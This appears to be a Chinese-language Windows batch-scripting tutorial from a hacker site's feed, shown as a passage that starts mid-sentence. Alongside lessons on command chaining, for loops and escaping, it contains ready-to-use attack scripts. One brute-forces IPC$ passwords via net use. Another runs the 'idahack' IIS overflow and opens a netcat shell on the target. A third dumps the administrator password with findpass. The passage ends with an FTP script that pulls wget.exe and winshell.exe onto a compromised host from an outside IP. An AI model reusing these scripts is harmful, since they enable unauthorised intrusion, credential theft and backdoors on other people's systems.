a.txt。例十八中的几句的差别比较特殊，值得好好研究体会一下。<br/><br/>当然这里还可以利用&amp;命令（自己想一下道理哦）：<br/><br/>dir c:\ &gt; a.txt &amp; dir d:\ &gt;&gt; a.txt<br/><br/>16、||<br/><br/>这个命令的用法和&amp;&amp;几乎一样，但作用刚好和它相反：利用这种方法在执行多条命令时，当遇到一个执行正确的命令就退出此命令组合，不再继续执行下面的命令。题目：查看当前目录下是否有以s开头的exe文件，如果有镇退出。例十九：<br/><br/>@echo off<br/>dir s*.exe || exit<br/><br/>其实这个例子是有破绽的，你看出来了吗？其实很简单，自己试试就知道了嘛：如果存在那个exe文件，就退出；如果不存在那个exe文件，也退出！为什么？因为如果不存在那个.exe文件，则前一条命令dir s*.exe执行肯定是不成功的，所以就继续执行exit，自然就退出了，呵呵。那么如何解决题目给出的问题呢？看例二十：<br/><br/>@echo off<br/>dir s*.exe || echo Didn&#39;t exist file s*.exe &amp; pause &amp; exit<br/><br/>这样执行的结果，就能达到题目的要求，是否存在s*.exe将出现两种结果。这里加暂停的意思，当然是让你能看到echo输出的内容，否则一闪而过的窗口，echo就白写了。<br/><br/>给出两个更好研究优先级（同时也是更难理解）的脚本，仔细研究它们的区别，以便彻底理解各种命令的优先级顺序，对以后自己利用这些命令写脚本有很大的好处----不会出错！OK，请看例二十一和例二十二：<br/>例二十一：<br/><br/>@echo off<br/>dir a.ttt /a &amp; dir a.txt || exit<br/><br/>例二十二：<br/><br/>@echo off<br/>dir a.ttt /a &amp;&amp; dir a.txt || exit<br/><br/>警告：患有心脑血管病的朋友请不要研究以上两例，否则轻者头大如斗，重者血管爆裂。任何人由于研究这两个脚本的区别而造成的任何事故由自己或其合法监护人负责，与本人和本论坛无关。特此警告！<br/><br/>有关管道命令和组合命令就大概介绍到这里了，不知道聪明的你是否理解？呵呵，能理解就成天才了，除非你以前就已经掌握！千万别小看了这几个鬼命令，大棒槌是我的说，简直就不是人学的东西！但我还是静下心来研究了一番，最后得出的结论如上所述，已经一点不剩的交给你了，希望你好好收藏并消化吸收，当然有错误被你发现了，或者不完整的地方被你看出来了，请赶紧告诉我一声！<br/><br/>这几个命令真的把我的头都搞大了。在网上有一篇流传很广的批处理教程：“简明批处理教程”，虽然说的比较全面，但看起来很不过瘾。在对for等命令介绍时就一个for /? &gt; a.txt &amp; start a.txt完事了（当然这一点上我不能说人家什么，毕竟我连for /?都没给出），而对上述管道命令和组合命令、以及这篇教程以后将讲到的用批处理操作注册表等方面根本没有介绍。我之所以花整整一章来讲管道命令和组合命令，是因为他们才是批处理的精华和灵魂，能否正确利用好这几个命令，是能否掌握批处理的前提条件。如for、set等DOS命令的问题，可以从DOS的角度出发专门有针对姓的学习，但有关这几个命令的问题，却是不容易精通掌握的----他们之间的关系太复杂了！<br/>将下列代码存为bat文件<br/>1、如果用字典破解：pass.bat 字典文件路径及名称 主机 用户名 <br/>2、如果用数字破解：pass.bat 起始数 步长 结束数 主机 用户名<br/>密码破解出来之后，存放于c:\pass.txt文件里面。 <br/>将下列代码存为pass.bat文件<br/>@echo off <br/>echo ------------------------------------------------------------------- &gt;&gt;c:\pass.txt <br/>echo ------------------------------------------------------------------- &gt;&gt;c:\pass.txt <br/>date /t &gt;&gt;c:\pass.txt <br/>time /t &gt;&gt;c:\pass.txt <br/>echo 破解结果： &gt;&gt;c:\pass.txt <br/>if &#34;%6&#34;==&#34;1&#34; goto 大棒槌是我的说2 <br/>:大棒槌是我的说1 <br/>start &#34;正在破解&#34; /min cmd /c for /f %%i in (%1) do call test.bat %2 &#34;%%i&#34; %3 <br/>goto quit <br/>:大棒槌是我的说2 <br/>start &#34;正在破解&#34; /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 &#34;%%i&#34; %5 <br/>:quit<br/>将下列代码存为test.bat<br/>net use \\%1\ipc$ %2 /user:&#34;%3&#34; <br/>goto answer%ERRORLEVEL% <br/>rem %ERRORLEVEL%表示取前一命令执行返回结果，net use成功返回0，失败返回2 <br/>:answer0 <br/>echo 远程主机：&#34;%1&#34; &gt;&gt;c:\pass.txt <br/>echo 用 户：&#34;%3&#34; &gt;&gt;c:\pass.txt <br/>echo 密 码：%2 &gt;&gt;c:\pass.txt <br/>net use \\%1\ipc$ /delet <br/>exit <br/>:answer2<br/><br/>For<br/>对一组文件中的每个文件运行指定的命令。 <br/><br/>可以在批处理程序中或直接从命令提示符使用 for 命令。<br/><br/>要在批处理程序中使用 for 命令，请使用以下语法： <br/><br/>for %%variable in (set) docommand [command-parameters] <br/><br/>要在命令提示符下使用 for，请使用以下语法： <br/><br/>for %variable in (set) do command [command-parameters] <br/><br/>参数<br/><br/>%%variable 或 %variable <br/><br/>代表可替换的参数。for 命令使用在 set 中指定的每个文本字符串替换 %%variable（或 %variable），直到此命令（在 command-parameters 中指定）处理所有的文件为止。使用 %% variable 在批处理程序中执行 for 命令。使用 % variable 通过命令提示符执行 for 命令。变量名区分大小写。<br/><br/>(set) <br/><br/>指定要用指定的命令处理的一个或多个文件或文本字符串。需要括号。 <br/><br/>command <br/><br/>指定要在指定的 set 所包含的每个文件上执行的命令。 <br/><br/>command-parameters <br/><br/>指定要用于指定命令（如果指定的命令要使用任何参数或开关）的任何参数或开关。<br/><br/>如果启用了命令扩展（Windows 2000 中的默认设置)，将支持 for 命令的其他形式。<br/>For 命令的其他形式<br/>如果启用了命令扩展，将支持如下 for 命令的其他格式：<br/><br/>只限于目录<br/><br/>for /D [%% | %]variable in (set) docommand [command-parameters] <br/><br/>如果 set 包含通配符（* 和 ?），则指定与目录名匹配，而不是文件名。<br/><br/>递归<br/><br/>for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]<br/><br/>进入根目录树[drive:]path，在树的每个目录中执行 for 语句。如果在 /R 后没有指定目录，则假定为当前目录。如果 set 只是一个句号 (.) 字符，则只列举目录树。<br/><br/>迭代<br/><br/>for /L [%% | %]variable in (start，step，end) do command [command-parameters]<br/><br/>集合是一系列按步长量划分的、从头到尾的数字。这样，(1,1,5) 将生成序列 1 2 3 4 5，而 (5,-1,1) 将生成序列 (5 4 3 2 1)。<br/><br/><br/><br/>BAT文件技巧<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br/><br/><br/><br/>文章结构 <br/>1. 所有内置命令的帮助信息 <br/>2. 环境变量的概念 <br/>3. 内置的素殊符号(实际使用中间注意避开) <br/>4. 简单批处理文件概念 <br/>5. 附件1 tmp.txt <br/>6. 附件2 sample.bat <br/><br/><br/>###################################################################### <br/>1. 所有内置命令的帮助信息 <br/>###################################################################### <br/>ver <br/>cmd /? <br/>set /? <br/>rem /? <br/>if /? <br/>echo /? <br/>goto /? <br/>for /? <br/>shift /? <br/>call /? <br/>其他需要的常用命令 <br/>type /? <br/>find /? <br/>findstr /? <br/>copy /? <br/>______________________________________________________________________ <br/>下面将所有上面的帮助输出到一个文件 <br/>echo ver &gt;tmp.txt <br/>ver &gt;&gt;tmp.txt <br/>echo cmd /? &gt;&gt;tmp.txt <br/>cmd /? &gt;&gt;tmp.txt <br/>echo rem /? &gt;&gt;tmp.txt <br/>rem /? &gt;&gt;tmp.txt <br/>echo if /? &gt;&gt;tmp.txt <br/>if /? &gt;&gt;tmp.txt <br/>echo goto /? &gt;&gt;tmp.txt <br/>goto /? &gt;&gt;tmp.txt <br/>echo for /? &gt;&gt;tmp.txt <br/>for /? &gt;&gt;tmp.txt <br/>echo shift /? &gt;&gt;tmp.txt <br/>shift /? &gt;&gt;tmp.txt <br/>echo call /? &gt;&gt;tmp.txt <br/>call /? &gt;&gt;tmp.txt <br/>echo type /? &gt;&gt;tmp.txt <br/>type /? &gt;&gt;tmp.txt <br/>echo find /? &gt;&gt;tmp.txt <br/>find /? &gt;&gt;tmp.txt <br/>echo findstr /? &gt;&gt;tmp.txt <br/>findstr /? &gt;&gt;tmp.txt <br/>echo copy /? &gt;&gt;tmp.txt <br/>copy /? &gt;&gt;tmp.txt <br/>type tmp.txt <br/>______________________________________________________ <br/><br/>###################################################################### <br/>2. 环境变量的概念 <br/>###################################################################### <br/>_____________________________________________________________________________ <br/>C:Program Files&gt;set <br/>ALLUSERSPROFILE=C:Documents and SettingsAll Users <br/>CommonProgramFiles=C:Program FilesCommon Files <br/>COMPUTERNAME=FIRST <br/>ComSpec=C:WINNTsystem32cmd.exe <br/>NUMBER_OF_PROCESSORS=1 <br/>OS=Windows_NT <br/>Os2LibPath=C:WINNTsystem32os2dll; <br/>Path=C:WINNTsystem32;C:WINNT;C:WINNTsystem32WBEM <br/>PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH <br/>PROCESSOR_ARCHITECTURE=x86 <br/>PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel <br/>PROCESSOR_LEVEL=6 <br/>PROCESSOR_REVISION=0605 <br/>ProgramFiles=C:Program Files <br/>PROMPT=$P$G <br/>SystemDrive=C: <br/>SystemRoot=C:WINNT <br/>TEMP=C:WINNTTEMP <br/>TMP=C:WINNTTEMP <br/>USERPROFILE=C:Documents and SettingsDefault User <br/>windir=C:WINNT <br/>_____________________________________________________________________________ <br/><br/>path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到 <br/>%windir%system32. 这个目录里面. 一般就可以自动搜索到. <br/>语法: copy mychenxu.exe %windir%system32. <br/>使用点(.) 便于一目了然 <br/>对环境变量的引用使用(英文模式,半角)双引号 <br/>%windir% 变量 <br/>%%windir%% 二次变量引用. <br/>我们常用的还有 <br/>%temp% 临时文件目录 <br/>%windir% 系统目录 <br/>%errorlevel% 退出代码 <br/><br/>输出文件到临时文件目录里面.这样便于当前目录整洁. <br/><br/>对有空格的参数. 你应该学会使用双引号(&#34;&#34;) 来表示比如对porgram file文件夹操作 <br/>C:&gt;dir p* <br/>C: 的目录 <br/>2000-09-02 11:47 2,164 PDOS.DEF <br/>1999-01-03 00:47 <br/><br/>Program Files <br/>1 个文件 2,164 字节 <br/>1 个目录 1,505,997,824 可用字节 <br/><br/>C:&gt;cd pro* <br/>C:Program Files&gt; <br/><br/>C:&gt; <br/>C:&gt;cd &#34;Program Files&#34; <br/>C:Program Files&gt; <br/><br/><br/>###################################################################### <br/>3. 内置的素殊符号(实际使用中间注意避开) <br/>###################################################################### <br/>微软里面内置了下列字符不能够在创建的文件名中间使用 <br/>con nul aux / | || &amp;&amp; ^ &gt; &lt; * <br/><br/>You can use most characters as variable values, including white space. If you use the special characters &lt;, &gt;, |, &amp;, o&#114; ^, you must precede them with the escape character (^) o&#114; quotation marks. If you use quotation marks, they are included as part of the value because everything following the equal sign is taken as the value. Consider the following examples: <br/>(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号&#34;&#34;了) <br/>To cr&#101;ate the variable value new&amp;name, type: <br/>set varname=new^&amp;name <br/><br/>To cr&#101;ate the variable value &#34;new&amp;name&#34;, type: <br/>set varname=&#34;new&amp;name&#34; <br/><br/>The ampersand (&amp;), pipe (|), and parentheses ( ) are special characters that must be preceded by the escape character (^) o&#114; quotation marks when you pass them as arguments. <br/><br/>find &#34;Pacific Rim&#34; &lt; trade.txt &gt; nwtrade.txt <br/>IF EXIST filename. (del filename.) ELSE echo filename. missing <br/><br/>&gt; 创建一个文件 <br/>&gt;&gt; 追加到一个文件后面 <br/>@ 前缀字符.表示执行时本行遮cmd里面不显示, 可以使用 echo off关闭显示 <br/>^ 对特殊符号( &gt; &lt; &amp;)的前导字符. 第一个只是显示aaa 第二个输出文件bbb <br/>echo 123456 ^&gt; aaa <br/>echo 1231231 &gt; bbb <br/>() 包含命令 <br/>(echo aa &amp; echo bb) <br/>, 和空格一样的缺省分隔符号. <br/>; 注释,表示后面为注释 <br/>: 标号作用 <br/>| 管道操作 <br/>&amp; Usage：第一条命令 &amp; 第二条命令 [&amp; 第三条命令...] <br/>用这种方法可以同时执行多条命令，而不管命令是否执行成功 <br/>dir c:*.exe &amp; dir d:*.exe &amp; dir e:*.exe <br/>&amp;&amp; Usage：第一条命令 &amp;&amp; 第二条命令 [&amp;&amp; 第三条命令...] <br/>当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令； <br/>|| Usage：第一条命令 || 第二条命令 [|| 第三条命令...] <br/>当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令； <br/><br/>常用语法格式 <br/>IF [NOT] ERRORLEVEL number command para1 para2 <br/>IF [NOT] string1==string2 command para1 para2 <br/>IF [NOT] EXIST filename command para1 para2 <br/><br/>IF EXIST filename command para1 para2 <br/>IF NOT EXIST filename command para1 para2 <br/>IF &#34;%1&#34;==&#34;&#34; goto END <br/>IF &#34;%1&#34;==&#34;net&#34; goto NET <br/>IF NOT &#34;%2&#34;==&#34;net&#34; goto OTHER <br/>IF ERRORLEVEL 1 command para1 para2 <br/>IF NOT ERRORLEVEL 1 command para1 para2 <br/>FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i <br/>FOR /F &#34;eol=; tokens=2,3* delims=, &#34; %i in (myfile.txt) do echo %i %j %k <br/>按照字母顺序 ijklmnopq依次取参数. <br/>eol=c - 指一个行注释字符的结尾(就一个) <br/>skip=n - 指在文件开始时忽略的行数。 <br/>delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。 <br/><br/><br/>###################################################################### <br/>4. 简单批处理文件概念 <br/>###################################################################### <br/><br/>echo This is test &gt; a.txt <br/>type a.txt <br/>echo This is test 11111 &gt;&gt; a.txt <br/>type a.txt <br/>echo This is test 22222 &gt; a.txt <br/>type a.txt <br/>第二个echo是追加 <br/>第三个echo将清空a.txt 重新创建 a.txt <br/><br/>netstat -n | find &#34;3389&#34; <br/>这个将要列出所有连接3389的用户的ip. <br/><br/>________________test.bat___________________________________________________ <br/>@echo please care <br/>echo plese care 1111 <br/>echo plese care 2222 <br/>echo plese care 3333 <br/>@echo please care <br/>@echo plese care 1111 <br/>@echo plese care 2222 <br/>@echo plese care 3333 <br/>rem 不显示注释语句,本行显示 <br/>@rem 不显示注释语句,本行不显示 <br/>@if exist %windir%system32find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe) <br/>@if exist %windir%system32fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe) <br/>___________________________________________________________________________ <br/><br/>下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的. <br/><br/>___________________ida.bat_________________________________________________ <br/>@rem ver 1.0 <br/>@if NOT exist %windir%system32idahack.exe echo &#34;ERROR: dont find idahack.exe&#34; <br/>@if NOT exist %windir%system32nc.exe echo &#34;ERROR: dont find nc.exe&#34; <br/><br/>@if &#34;%1&#34; ==&#34;&#34; goto USAGE <br/>@if NOT &#34;%2&#34; ==&#34;&#34; goto SP2 <br/><br/>:start <br/>@echo Now start ... <br/>@ping %1 <br/>@echo chinese win2k:1 sp1:2 sp2:3 <br/>idahack.exe %1 80 1 99 &gt;%temp%_tmp <br/>@echo &#34;prog exit code [%errorlevel%] idahack.exe&#34; <br/>@type %temp%_tmp <br/>@find &#34;good luck :)&#34; %temp%_tmp <br/>@echo &#34;prog exit code [%errorlevel%] find [goog luck]&#34; <br/>@if NOT errorlevel 1 nc.exe %1 99 <br/>@goto END <br/><br/>:SP2 <br/>@idahack.exe %1 80 %2 99 %temp%_tmp <br/>@type %temp%_tmp <br/>@find &#34;good luck :)&#34; %temp%_tmp <br/>@if NOT errorlevel 1 nc.exe %1 99 <br/>@goto END <br/><br/>:USAGE <br/>@echo Example: ida.bat IP <br/>@echo Example: ida.bat IP (2,3) <br/><br/>:END <br/>_____________________ida.bat__END_________________________________ <br/><br/>下面我们再来第二个文件.就是得到administrator的口令. <br/>大多数人说得不到.其实是自己的没有输入正确的信息. <br/><br/>___________________________fpass.bat____________________________________________ <br/>@rem ver 1.0 <br/>@if NOT exist %windir%system32findpass.exe echo &#34;ERROR: dont find findpass.exe&#34; <br/>@if NOT exist %windir%system32pulist.exe echo &#34;ERROR: dont find pulist.exe&#34; <br/><br/>@echo start.... <br/>@echo ____________________________________ <br/>@if &#34;%1&#34;==&#34;&#34; goto USAGE <br/>@findpass.exe %1 %2 %3 &gt;&gt; %temp%_findpass.txt <br/>@echo &#34;prog exit code [%errorlevel%] findpass.exe&#34; <br/>@type %temp%_findpass.txt <br/>@echo ________________________________Here__pass★★★★★★★★ <br/>@ipconfig /all &gt;&gt;%temp%_findpass.txt <br/>@goto END <br/><br/>:USAGE <br/>@pulist.exe &gt;%temp%_pass.txt <br/>@findstr.exe /i &#34;WINLOGON explorer internat&#34; %temp%_pass.txt <br/>@echo &#34;Example: fpass.bat %1 %2 %3 %4 !!!&#34; <br/>@echo &#34;Usage: findpass.exe DomainName UserName PID-of-WinLogon&#34; <br/><br/>:END <br/>@echo &#34; fpass.bat %COMPUTERNAME% %USERNAME% administrator &#34; <br/>@echo &#34; fpass.bat end [%errorlevel%] !&#34; <br/>_________________fpass.bat___END________________________________________ <br/><br/>还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win) <br/>依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!! <br/><br/>echo open 210.64.x.4 3396&gt;w <br/>echo read&gt;&gt;w <br/>echo read&gt;&gt;w <br/>echo cd winnt&gt;&gt;w <br/>echo binary&gt;&gt;w <br/>echo pwd &gt;&gt;w <br/>echo get wget.exe &gt;&gt;w <br/>echo get winshell.exe &gt;&gt;w <br/>echo get any.exe &gt;&gt;w <br/>echo quit &gt;&gt;w <br/>ftp -s:w<br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.cq-hacker.com/default.asp?id=93" /> 
	  <id>http://www.cq-hacker.com/default.asp?id=93</id> 
  </entry>	
		
</feed>